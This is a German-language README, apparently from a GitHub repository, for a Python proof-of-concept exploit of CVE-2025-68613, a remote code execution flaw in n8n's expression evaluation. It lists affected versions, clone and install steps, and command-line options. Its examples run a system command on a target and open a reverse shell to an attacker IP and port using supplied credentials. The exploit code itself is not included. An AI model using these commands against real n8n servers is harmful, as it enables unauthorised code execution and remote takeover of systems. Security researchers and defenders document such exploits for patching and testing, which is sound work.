CVE-2025-68613: RCE im n8n Workflow-Ausdruck

Proof of Concept (PoC) Exploit für eine kritische Remote Code Execution-Schwachstelle in der n8n Workflow-Automationsplattform.

Beschreibung

Die Schwachstelle befindet sich im n8n-Ausdrucksauswertungssystem. Von Benutzern bereitgestellte Ausdrücke werden nicht ordnungsgemäß in einer Sandbox ausgeführt, was authentifizierten Angreifern die Ausführung beliebigen Codes auf dem Hostsystem ermöglicht.

CVE-ID: CVE-2025-68613
Schwachstellentyp: Remote Code Execution (RCE)
Komponente: Ausdrucksauswertung

Betroffene Versionen

n8n >= 0.211.0
n8n < 1.120.4
n8n < 1.121.1
n8n < 1.122.0

Installation

git clone https://github.com/JohannesLks/CVE-2025-68613-Python-Exploit.git
cd CVE-2025-68613-Python-Exploit
pip install -r requirements.txt

Verwendung

Syntax

python3 n8n_exploit.py -t <TARGET> -u <USER> -p <PASSWORD> [OPTIONS]

Argumente

-t, --target : Ziel-URL (z. B. http://localhost:5678)
-u, --username : E-Mail-Adresse des n8n-Kontos
-p, --password : Passwort des n8n-Kontos
-c, --cmd : Auszuführender Systembefehl
--reverse-shell : Reverse-Shell auslösen (Format: IP PORT)

Beispiele

Schwachstelle prüfen / Befehl ausführen:

python3 n8n_exploit.py -t http://target:5678 -u [email protected] -p "P@ssword123" -c "id"

Reverse-Shell herstellen:

python3 n8n_exploit.py -t http://target:5678 -u [email protected] -p "P@ssword123" --reverse-shell 192.168.1.100 4444

CVE-2025-68613-Python-Exploit

Beliebteste